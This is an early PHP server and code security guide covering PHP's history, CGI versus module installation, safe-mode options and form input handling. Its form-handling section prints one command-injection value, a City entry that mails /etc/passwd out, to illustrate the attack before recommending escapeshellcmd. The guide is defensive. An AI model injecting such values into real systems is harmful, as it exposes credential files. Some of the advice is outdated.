What is PHP?
PHP is a simple and efficient scripting language that allows developers to quickly integrate active content into their Web application. Rasmus Lerdorf created PHP for his personal usage in 1994 so that he could keep track of who was looking at his online resume. In 1995 he released the first version of The Personal Home Page Tools. Rasmus continued to add various macros and common web page utilities such as a guest book and counter to the set of tools. In 1997, the PHP project left the personal workspace of Rasmus and a group of open source developers started to aid in the development process. The parser was rewritten from scratch as well as many other utilities that were included in the original PHP. With the release of PHP4, the Zend scripting engine was integrated into PHP to increase performance and support more third-party utilities. PHP can now run on nearly all major Web Servers without losing functionality between platforms. As of January 2001, it is estimated that PHP is used on more servers on the Internet than Microsoft's IIS server.
One of the attractive features of PHP is that it supports a very wide variety of databases natively and there are many third-party utilities and libraries that can be integrated into PHP for added functionality. The following is a brief list from http://www.php.net/FAQ.php#3.3 of some of the most common add-ons, the PHP site has full links to the locations of these add-ons:
Preparing your server
It is very important to make sure that the server where PHP will be installed is secured before attempting to develop PHP applications. There are many useful articles on the SANS website as well as other places on the Internet to accomplish this. The following is a list of resources that will help to setup your server correctly.
Once these steps have taken place, you server should be ready to install PHP.
PHP Installation Options
Before Installing PHP, a decision has to be made as to which type of PHP installation you would like to have. There are advantages and disadvantages to each so each factor will have to be considered for your specific use of PHP.
External Web Server Module
* The main advantage of compiling PHP as an external web server module is that it is totally independent of the web server. The PHP version can be upgraded or changed without having to touch the web server software.
* The main disadvantage of using an external web server module is performance. By their nature, external modules take time to load and execute.
* Apache Modules inherit Apache's user permissions, which may pose a security threat. For example, since Apache generally runs as "nobody", a malicious script could be written that could modify or drop a database by using the privileged rights of "nobody" unless the database has some type of built-in access control. You can stop this type of attack by using one of the various types of Apache authorization such as LDAP or .htaccess files. (http://www.php.net/manual/en/security.apache.php)
* PHP can be compiled as a CGI binary, this allows a user to separate PHP from their web server entirely. Each PHP script that is written will need to contain a statement that points to the path of the PHP binary just as in PERL.
* CERT Advisory CA-96.11 advises against placing any type of interpreter in the CGI-BIN so it is a good idea to create an isolated directory where PHP can be run. PHP has built in Security measure to prevent malicious attacks of this type as well. In the configuration file for PHP, you can specify the following security features:
* doc_root This options only works when PHP is installed in Safe Mode. This specifies where the root document directory of PHP is. Scripts outside of this directory will not be interpreted.
* User_dir This option only works when PHP is installed in Safe Mode. This variable specifies user directories so that scripts outside of this directory cannot be executed.
* --enable-force-CGI-redirect This allows you to force redirection so that scripts cannot be access directly from the internet. Scripts are redirected to a URL, hiding their full path names. http://www.php.net/manual/en/security.php#security.cgi http://www.devshed.com/Books/ProPHP/print.html
Recommended PHP Configuration Options
There are various options that can be set in PHP to increase the overall security of your server. In this section we will discuss some of the most common and useful options.
Safe mode is required for nearly all of the following options, safe mode allows PHP to impose more security restrictions than a normal configuration.
This forces PHP to only execute scripts from a specified directory.
This option allows you to control which directories PHP scripts are allowed to access files from. By default PHP will allow a script to access a file from anywhere so it is recommended that is option be set. By predefining valid directories, data can be protected.
This variable allows you to set a maximum execution time that a script can have. If a script runs longer than the allocated execution time, it will be terminated. This option will allow you to prevent attackers from tying up your web server with malicious scripts that could cause denial of service.
This allows you to control the maximum amount of memory that a script can use. Using this will help to prevent buffer overflows which may lead to more serious threats.
Writing Secure PHP Code
PHP code is very simple to write since is it simply embedded into the html file. By default the PHP code delimiter is <? ?>, the delimiter can be changed if you desire.
Sample PHP Code:
<? echo "This is a PHP script" ?>
As you can see it is very easy to add dynamic content to your existing web pages. Remember, if PHP is running as a CGI-binary that you may have to specify the path of the binary at the beginning of the script.
One of the most useful features of PHP is the ability to quickly process data from a HTML form and save this data into a database. Two parts are needed:
* First is the form script or HTML file, this file is just basic HTML using standard form submission tags, this form will submit the data entered by the user to the second script.
* The second script is the script that actually processes the data entered by the user. This is where caution must be taken to avoid malicious code being submitted and parsed by an unsuspecting PHP interpreter. This script should use various features that PHP has built in to verify that the data being submitted is valid and safe.
* A very primitive attack could be as follows:
* On a form where your customers enter their address information that is submitted to your database, an attacker could enter a string like this in the City field of the form:
"Denver ; mail email@example.com < /etc/passwd"
This would send your password file to the attack that could then crack your passwords and compromise your system even more.
This type of attack can easily be prevented by using the escapeshellcmd() command on data that is entered before you parse it. The escapeshellcmd will use escape characters to prevent shell commands from running within PHP.
Other ways to prevent unexpected data from compromising your system is to limit access to your system by the use of user authentication with .htaccess files or database user authentication. This will allow only authorized persons to submit data to your system. This is not always practical so the best advice is to use the escapeshellcmd as well as your own data verification scripts to makes sure the data received is valid data. (http://www.devshed.com/Books/ProPHP/print.html)
Other PHP Security Considerations
When transferring sensitive data between scripts you can use various types of encryption functions that come with PHP to protect your data. The two most common cryptographic functions are mcrypt and mhash, both of which are very easy to implement and greatly increase your security. It is recommended that all sensitive data stored in a database be encrypted by PHP, don't rely on the security features of the database alone.
SSL can easily be implemented on your web server to encrypt sensitive traffic to and from your web server. PHP is not affected by the use of SSL since the SSL interacts directly with the web server. There are various SSL implementations, which can be used freely or at a cost. Here are some links to some of them: